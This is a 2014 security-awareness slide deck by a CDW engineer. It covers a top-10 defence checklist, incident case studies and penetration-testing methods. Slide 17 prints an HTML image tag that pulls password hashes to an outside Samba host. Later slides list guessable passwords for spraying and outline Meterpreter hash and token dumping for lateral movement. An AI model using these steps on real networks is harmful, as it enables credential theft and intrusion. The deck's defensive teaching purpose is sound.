CDW Open House October 2 nd , 2014

1. CDW Open HouseOctober 2nd, 2014 By: Mark Lachniet, CDW Security Engineer

2. About Me Mark Lachniet, Sr. Security Engineer at CDW: Practices and procedures audits Penetration testing Incident Response and forensics Licensed Private Investigator in the State of Michigan Numerous security and technology certifications: Certified Information Systems Security Professional (CISSP) Certified Information Systems Auditor (CISA) GIAC Certified Forensic Analysts Gold (GCFA) Microsoft MCSE, Novell MCNE, Linux LPIC, CheckPoint, etc. Previously worked at Analysts International as a Solutions Architect, as an instructor Walsh College’s MSIA program and as a technician and technology director at Holt Public Schools

3. Laugh-Not Top 10 My personal top-10 list, named after yours truly (Lachniet is Dutch for “laugh-not”) This is based on my personal experience breaking into networks (targeted attacks) and in responding to attacks The list itself: Formal security management program – take time to do it right Software patching – especially third-party software like Acrobat Physical security – data classification and handling, encryption Trust relationships – DNS, shared passwords and other windows “features” Accounts and passwords – too many admins, too guessable a password Regular security testing – test before before someone else does Logging and log analysis – system visibility and awareness Incident response planning – communications and avoiding “chicken little” Border security – DMZ security and egress filtering Employee awareness – why not to open that attachment Where possible, I’ll give an example of a “real-life scenario” to scare you into spending money on security

4. Recent Case – Financial Fraud One recent case I’ve worked on deals with a fairly large financial fraud at a Michigan-based company One of their computer workstations had been hacked, and the user of that workstation used it to log into a web banking system to process their regular payroll The user was somehow directed away from the official banking web site to a phishing web site The web site looked “different” to the user so they contacted the web banking company’s technical support. Their tech support was unable to determine the problem (which in this case was the wrong URL) and told them “it must be an I.T. problem on your end”) The user then entered their user ID, password, and code from a two-factor authentication token into the site and did payroll The next day they were contacted regarding what appeared to be fraud – their payroll (approximately $700,000) had been hijacked This is especially troubling given the fact that two-factor authentication was used – these devices use a code that changes every few minutes, giving a very small window of opportunity to exploit

5. Recent Case – Financial Fraud This implies to me that the criminals either had some very sophisticated software that could “automagically” log into the web banking system, or they had a fully staffed 24/7 NOC with people waiting for events The criminals then changed the account numbers that the payroll was going to, and routed sums of approximately $9,000 to a number of different bank accounts ($10,000 is the cut off for OFAC reporting) This also implies that the criminals were very well versed in the banking system, because they were smart enough to change all of the ACH numbers very quickly According to at least one report, individuals who were looking for a job online were offered jobs as “ACH processors” by some shady Internet company Their job was to open a bank account, wait for money to be deposited, and then withdraw the money as cash They would then use a wire transfer service such as Western Union to wire transfer $4,000 each to a couple different people or accounts overseas, and keep $1,000 for their trouble.

6. Recent Case – Financial Fraud Thus, the people who were doing the conversion of virtual to physical cash and were assisting in the crime were most likely unknowing dupes and possible future victims I was then called in to help with incident response We began by taking a forensic image of the user’s workstation using a firewire “write blocker” to preserve the integrity of the data While that was happening, we worked on analyzing available log sources (there weren’t any, so we had to configure firewall logging) We put a stop to all non-essential Internet access while we were investigating We also began installing WebRoot Anti-Spyware software on a number of workstation – this turned up more infected machines Using a firewall log analysis tool known as Sawmill, we were able to find other network activity that seemed suspicious (traffic to eastern Europe and Asia) and analyze those workstations for additional malware FBI later came in and took an image of the workstation as well

7. Recent Case – Financial Fraud Around this time I began performing a forensic investigation of the image copy of the computer workstation I had taken These investigations can be very time consuming, even if all the time is not billable due to the amount of time required to do keyword searches, etc. This one took weeks. Knowing the approximate date that machine was last “known good” (e.g. was last rebuilt) I was able to start looking at the computer workstations filesystem history Found lots of malware, some already quarantined by AV, some not yet identified I was able to see at least one source of infection – there was a malicious Adobe Acrobat PDF file received in email from “their bank” This file contained exploited the PDF reader program and executed javascript to download a number of different pieces of malware from a server in Russia (you could see the files being created in rapid succession)

8. Recent Case – Financial Fraud Relating this to the Laugh-Not top 10: Software patching – The attack (like most attacks, as far as I can tell) actually exploited a weakness in an adobe product. If they had had a decent system of keeping this software up to date, they could have avoided this issue entirely Logging and log analysis – Anti-Virus on the system had already quarantined 6 of 10 pieces of malware. If an IT administrator had gotten an alert about this and been organized enough to investigate it, they could have reduced response time significantly Incident response planning – There was no plan for how to respond to this incident, and as such there was a scramble to collect data and communicate with the media and employees. Border security – The workstation malware “phoned home” key logs and other data. Chances are, if it couldn’t have talked home (i.e. a workstation that could only talk to the banking system on the Internet) then the chances are good that the issue would have been avoided Vendor products – Acrobat needs to be updated constantly. Adobe is not perfect, but they try to fix bugs as quickly as they can. Employee awareness – If the employee knew never to open suspicious attachments that “appear” to come from the bank they would have been safe(r)

9. Recent Case – Computer Theft In another case that I recently worked on, a local company that deals with medical insurance was broken into, and 8 laptops were stolen The customer had camera footage of the criminal – they had exploited a slowly-closing handicap perimeter door to enter the building in the 30 minutes AFTER the end of the business day but BEFORE the security system was enabled They then went to an open office area and carried the laptops out These laptops contained sensitive regulated data (financial and medical, potentially regulated by GLBA, HIPAA and PCI) and were unencrypted Due to this, it might be necessary for them to give notification to their customers or regulators that the data was potentially stolen The I.T. manager was immediately fired (as a scapegoat?), presumably for not having had encryption on every machine in the place Customer initiated a project to encrypt ALL workstations with Whole Disk Encryption (which gives you a “safe harbor” type exception so you usually don’t have to report if encrypted machines are stolen”)

10. Recent Case – Computer Theft I was brought in to help look at their security and workstation practices Created a scaled-back assessment survey that focused specifically on workstations, and the practices, procedures and physical security surrounding them Did this survey and a physical walkthrough of the organization and began documenting recommendations with a “cost” and “gain” metric Physical Security: Slow-closing front doors Employees not locking offices and workgroup areas Badge system didn’t require PIN number entry on exterior Weak physical key management (e.g. master keys) Power cut-offs could be engaged by anyone Exterior lights not on 24/7 No motion sensors or window break sensors in building Hinges on the outside of the door could be broken off to gain entry

11. Recent Case – Computer Theft Practices and Procedures: Users still saving sensitive data to local workstations, even though told not to No data classification and handling system No formal system of assigning access rights with badge system and keys (thus no easy way to audit) Weak acceptable use policy detailing user responsibilities, practices and requirements Technical: Inadequate patching for non-Microsoft apps such as Acrobat, Flash, Quicktime, WinZip, etc. making it easy for malware to be introduced Shared local admin password on all workstations – if you steal one, you can crack the local admin PW with a rainbow table attack No encryption or restriction of media and I/O ports No regular vulnerability assessments of internal hosts and web applications Weak passwords – no complexity required

12. Recent Case – Computer Theft Relating this to the Laugh-Not top 10: Physical security – They didn’t have a secure facility, creating a situation where it was possible to easily steal laptops and read the data on them. Whole-disk encryption would have limited the breach to loss of property only Trust relationships – If the attackers wanted to, they could have cracked the local admin password and come back later to log into other machines with it Employee awareness – Locking that work area after the employees left (it was a call center) would have made it a lot harder to make off with those machines

13. Recent Case – Financial Services Called in to investigate a “hacker” intrusion to a financial services organization that deals with foreign currency As such the organization may have had some regulatory responsibilities (such as OFAC and breach disclosure under GLBA) The organization had a number of security controls in place, including a Cisco MARS appliance, a decent firewall and VPN system, Cisco CSA and several other tools They noticed unusual activity from the Cisco CSA firewall, and determined that what appeared to be malware was in place on several different internal systems Called us for help, to try to determine what happened and determine if there was in fact a breach There were almost a dozen people working on the project, with folks from 3-4 different organizations – communication was bad Examined Cisco MARS Logs which explicitly identified malware: Anti-virus software was also installed but didn’t identify anything

14. Recent Case – Financial Services Identified 5-6 workstations that had this software on them, which included administrative staff and traders Analyzed log files from Windows machines (fortunately the incident was discovered while it was ongoing, or just shortly thereafter so event logs were still there) Found extensive use of a domain service ID to make connections to about 15 internal workstations from DMZ Blackberry server Network access from the Internet-accessible Blackberry server on a DMZ to the inside network was wide open Further investigation of the Blackberry server turned up a ZIP file that contained a number of sensitive files from at least 5 internal workstations, just waiting to be downloaded (or already had) Clearly, this was a manual attack – not only did someone get in, but they manually went to different machines and harvested documents of interest and aggregated them in a zip file on an Internet accessible machine, most likely to download them

15. Recent Case – Financial Services Relating this to the Laugh-Not top 10: Software patching – Vulnerable blackberry server most likely point of access Physical security – data not classified, floating everywhere Trust relationships – shared passwords allowed attackers to connect to other workstations to gather data Regular security testing – A simple penetration test would have found the hole before the criminals did Incident response planning – Response efforts were uncoordinated and chaotic, with minimal follow through (“oh we’ll fix that in the next version and we can’t afford to figure out what happened exactly”) Border security – DMZ server used as a “drop point” to get data off of server and into hands of criminals, malware phoning home But on the plus side…. Employee awareness – Staff were aware enough to know what was going on and collect technical data Logging and log analysis – The incident was discovered by a managed security provider through log review

16. Penetration Testing The following are some of the more common ways that I get access to systems through penetration testing (sometimes called “white hat” hacking) Big difference between this type of attack, which is targeted at a specific organization, and attacks of opportunity Note that this is only done with permission, not to mention promise to pay, of the customer Good testing is time consuming, and hence expensive – you need to be willing to spend money in order to get results Hence, use of external pen-testers should be supplemented with cheap and very regular assessments done by internal staff Wide variety of pen-tester skill sets – find ones with a track record Be aware of the difference between pen-testing and vulnerability assessments – the former looks for ways in and actually exploits them, the latter looks for holes and warns you about all of them Pen-testing is more expensive but tends to get the attention of the organization’s leadership

17. E-Mail Phishing Partially social engineering (trick them to read) partial attack Send a HTML e-mail to the client (or possibly every e-mail address in their domain that I can find) that contains an invisible image: <IMG SRC=\\data.binc-security.com\images\logo.gif> If all goes to plan, the organization’s e-mail client will attempt to render the HTML, and as part of this will make a connection to our system to download the image it needs Note that the above image URI is not HTTP but set up as a Windows file share In order to access this share, your Windows workstation will automatically attempt to connect to the server using your current user ID and password without your knowledge or intervention When it does this, it connects to our modified SAMBA server and leaves behind a password hash, or encrypted password, that can be “cracked” to reveal the actual plain-text password that we can then use to log in to systems such as OWA or VPN All of this is contingent, of course, upon a mail client that renders HTML and is able to get access to our server

18. E-Mail Phishing Password hashes come in two formats, LM and NTLM, the former being a legacy format (pre-Vista) and VERY easy to crack Once obtained, crack using rainbow tables (database of almost all possible pre-computed password possibilities) if LM, or with guessing or brute force attacks for NTLM This attack is working less and less, as e-mail clients become more and more paranoid in their default configuration, but you can sometimes entice people to over-ride the secure default by something enticing (like free porn! Or an iPad) Once I have a password, I use it to try to log into just about anything I can find, with a particular emphasis on systems such as Citrix and Remote Desktop and VPN Failing that, I can at least get mail, in which case I might be able to come up with a creative way to get a known password

19. E-Mail Phishing Relating to the Laugh-Note Top 10: Trust relationships – The user’s workstation password often gets me into VPN or GUI desktops. Using a different password or two-factor authentication for remote Internet access would stop this Accounts and passwords – Legacy password hashes like LM are very easy to crack, and NTLM passwords that are guessable are also easy Logging and log analysis – If you see outgoing Windows networking connections to the Internet, its probably not a good thing Border security – A proper egress filter will block the workstation from making this outgoing connection and foil the attack Employee awareness – Organizations need to know why HTML e-mail is bad and use appropriate mail clients. Individuals need to know why also, and not click on the “view all images” button, even if it is terribly enticing

20. Password Guessing Failing a successful attempt to get a valid credential sent to you automatically, password guessing may work Indeed password guessing does work more than you would think, given that most organizations require complex passwords The bigger the available user list (number of user ID’s that exist and can be properly discovered) the greater the chance of a hit. Big organizations definitely suffer more chance of this working Use automated tools such as Medusa (http://www.foofus.net/?cat=4) or scripts to try passwords on systems such as OWA Do a little bit of testing at a time, perhaps 3/hour, so as not to lock out the account Some crowd favorites include: Password1 (and 01, 2, and 3 and Password! – matches complexity, just increment numbers or try some common punctuation like ! or ?) Summer2012 (password changes are usually quarterly, so you’ll often see Summer, Fall, Winter, Spring followed by the year in 4-number or 2-number format) P@ssw0rd (the ‘ole leet speak vowel substitution trick, pick your favorite word or sports team and swap out some vowels)

21. Sticky Samba Server If on the inside network (or wireless) it may be possible to pull off an attack similar to the e-mail attack To do this, use a customized version of SAMBA (a Windows fileshare emulator) that is configured for this purpose See: http://www.foofus.net/~jmk/passhash.html for patches The SAMBA server will automatically respond to all requests for a Windows file share by clients on the network and hold up its electronic hand saying “Oh! Oh! That’s me!” When the client connects, we get their password hash and can then crack it Does tend to cause a lot of tech support calls for internal staff, as every single Windows request on that “broadcast domain” will go to our server and fail This is okay, as you should always blame consultants for each and every thing that goes wrong while they are conceivably working on your systems

22. System Hopping Another way to use I use and abuse passwords is by grabbing local passwords and tokens from workstations and using them to hop between computers until I find one with Domain Administrator access This assumes that I can get access to at least one machine already This may include physical access to a system – if I can get access to even one physical workstation, I can use a boot CD to get the password hash of the local administrator account, and usually this account will work on a large chunk of workstations (if not all workstations, if not all windows systems, if not all systems) Once I am on a machine, use Metasploit’s Meterpreter to dump the local password hashes and session tokens Unlike password hashes (which are things like the local administrator password or its regular users), session tokens are temporary credentials that were generated by users of the workstation Often, this will include tokens for domain admins that have logged into a machine in order to provide technical support, service accounts, or other users than the primary machine owner Often, we can use Meterpreter to simply try every token to add a domain administrator auto-magically

23. System Hopping Basically the system hopping attack works like this: Use Medusa to attempt to log into every Windows machine on the network using the one credential we have discovered (either the encrypted or un-encrypted version) Dump all of the passwords and access tokens on each machine Are any of the passwords or tokens domain admins? If yes, done If not, select one of the “bonus” credentials other than the account we just tried, and go back to step 1 Continue connecting until we find a domain admin, or to all computers until every possible password has been tried on every possible machine If this seems like its too annoying, we may simply find the workstation of a network administrator, turn on a key logger, and then break something (or generate a helpdesk call) in order to get them to log into something Or alternately, poke around for passwords (see following…)

24. System Hopping Relating this to the Laugh-Not Top 10: Physical security – Physical access to a machine (or GUI access over the network via Remote Desktop or similar) makes it possible to get local admin password hashes. Beware system backups like Ghost images as well. Trust relationships – Local admin accounts often work everywhere, domain users often have workstation administrator rights unnecessarily Accounts and passwords – Password hashes are stored in insecure, legacy formats and are often easily cracked using rainbow tables or guessed Regular security testing – If you had hired me, you would know this already  Logging and log analysis – If you had automated alerting of failed administrator logins, you probably would have noticed as soon as we started scanning. If you had decent log review systems, you would have noticed within a day or so Border security – Poor VPN passwords (i.e. same as Windows) and Internet-accessible servers that can access the internal network allow us to go from a single account to domain administrator through unrestricted system hopping Employee awareness – Although ‘Password1’ and ‘Spring2012’ technically comply with your password policy, that doesn’t mean it’s a good password

25. Gimme! contents:password Another common mistake of organizations is a failure to accurately identify their sensitive information and appropriately handle it from “cradle to grave” This obviously applies to credit card and health data, and is the big reason that so many breaches occur and are reported However, this also applies to sensitive internal information like system passwords Once I get a domain user account password (or preferably domain admin account) the first thing I do is connect to the organization’s various file shares and search for all files containing the word ‘password’ in them Similarly, identify and connect to IT administrator workstations and do the same thing, as this often turns up configuration files, etc. Inevitably, I will find passwords for various internal systems, scripts and batch files that get run automatically, passwords used for testing, passwords for vendors or service accounts, or users’ personal passwords to gmail and such Approximately 50% of the time I can find a password from an organization, about 25% of the time it is an admin password. Usually the fault of IT staff or developers (hint: usually developers)

26. Gimme! contents:password Relating to the Laugh-Not Top 10: Physical security – Without a clear data classification and handling system, users don’t know what is important and how to store it. Passwords often stored on workstations in plain text Trust relationships – Users trust file shares to be secure and accessed only by authorized staff, or don’t take care with putting them in places that are accessible only by the right people (i.e. public vs. group shares) Accounts and passwords – Just sitting there, man! Wordpad for the win. Employee awareness – Use a password safe or something, please You must have a formal system to identify: The type of data that you are concerned with and maintain Where and how it may be stored electronically (unencrypted? Flash drives?) Where and how it may be stored physically (locked rooms/cabinets?) Where and how it should be destroyed (shredded, wiped, shot with .45) This is simply so obvious and easy to check for that hardly anybody does it. Try going back to your organization and doing this yourself if you don’t believe me

27. The Organized Organization Aside from these specifics, there is a lot of other stuff that an organization can and should do in order to make themselves more secure Much of this comes down to documentation and process, the bane of knuckle-dragging tech folks the world over First of all, you need to take the time to make information security a priority with a formal information security management program: Meet regularly (quarterly?) despite workload and the hassles of the day Keep an agenda and notes of activity (Robert’s Rules the suckers) Track initiatives, audit findings, training needs, staffing, projects, capital expenditures, contracted services, compliance, etc. Create and update practices, procedures and guidelines Maintain documentation, especially disaster recovery plans, as-installed documentation on systems and information on security controls In this way, you at least have a way to keep security on the front burner and develop a system of ongoing improvement. The alternative is chaos and leaving it to the most educated (or authoritarian) employees and hoping for the best

28. The Organized Organization You also want to have your systems regularly tested for flaws This means contracting qualified outside help, generally: Quarterly Internet assessments Yearly internal and “practices and procedures” audits Regular assessments of complex web applications Web applications are particularly important, especially if you have any web applications that were developed in-house and talk to a database. If you do, it is very likely that they are hackable (though vendor software isn’t always great either) Create the ability to perform your own scans of systems, as you can do this much more inexpensively, and far more regularly Consider scanning of a system mandatory at each major change or before being put into production use Require proof of product security from vendors as part of the purchasing process and not as an after-thought Consider using tools like Nessus (http://www.nessus.org) for systems and NetSparker (http://www.mavitunasecurity.com/netsparker/) for web applications

29. The Organized Organization Put into place decent logging and log analysis systems Trap data from critical systems and store it indefinitely so that you have a forensic : Firewalls, remote access systems, switches, routers Windows, UNIX and other servers Active Directory Critical applications Establish systems that can “data mine” at need Create a system that can create human-readable reports, for example sending out a report of the “top 20 talkers and protocols” on the network for the last 24 hours each morning Create a procedure whereby someone actually has to read these reports and keep a log that they are doing so. Give them guidance on how to read the reports and identify anomalies that require follow-up Periodically test these systems, for example surprise penetration tests Consider using Security Event Incident Management (SIM/SEIM) tools to automatically correlate data from multiple systems, but don’t trust them too much

30. Some Evidence Locations

31. The Organized Organization Plan out how you will respond to an incident (i.e. “Incident Response”) before you actually need it. The time to figure out how to respond to an event is not while you are under stress Consider such items as: How will you learn about incidents? Log reporting? External reports? How will you handle systems that may be compromised? Take them down and risk loss of productivity, or leave them up and risk spreading? How will you handle forensic data that may someday be needed for a criminal or civil trial? Use hardware write-blockers? Who will you get to help you? Consider forensic analysts and police Who is allowed to communicate, both internally (to employees) and externally (to clients, the media, law enforcement) What documentation will you create and keep as part of the investigation, and how can you use it to improve your response to future incidents? Consider using existing documentation, such as NIST’s “Computer Security and Incident Handling” guide at http://csrc.nist.gov/publications/nistpubs/800-61-rev1/SP800-61rev1.pdf

32. The Organized Organization Plan out a formal information security awareness program For end users, consider: Data classification and handling Identifying shifty looking e-mails and web sites Use of password safes Identifying and resisting social engineering attacks Etc. Require at least yearly updates of training for employees using a variety of approaches (in-person, e-mail blasts, newsletters, etc.) and quantify whether they understand it through computer-based testing, quizzes, contests, etc. For employees, especially IT employees, consider: Subject matter expertise (get really good at the things you manage) Specific security fields (testing, secure application development, etc.) Require 1 week per year, per IT employee for formal training outside of the normal environment (or at least away from distractions) and ensure that at least some people are getting security-specific training

33. Laugh-Not Top 10 - Redux One last time….. Formal security management program – take time to do it right Software patching – especially third-party software like Acrobat Physical security – data classification and handling, encryption Trust relationships – shared passwords and other windows “features” Accounts and passwords – too many admins, too guessable a password Regular security testing – test before before someone else does Logging and log analysis – system visibility and awareness Incident response planning – communications and avoiding “chicken little” Border security – DMZ security and egress filtering Employee awareness – why not to open that attachment All of this stuff takes time and effort, and its not free Ultimately, security is always a balancing act between money and security, and where an organization’s tolerance for risk lies is unique. As long as administration understands their risks and possible mitigations in order to make informed decisions, then IT is doing its job The Top 10 list will make you resistant to both attacks of opportunity and targeted attacks, and often for less cost than a fancy gizmo or box

34. Bonus Topics Heartbleed… Bash Shell issues…. DNS Resolution and Responder.py

35. Questions and Comments? This presentation available at http://lachniet.com/powerpoint Mark Lachniet Sr. Security Engineer, CDW mark.lachniet@cdw.com mark@lachniet.com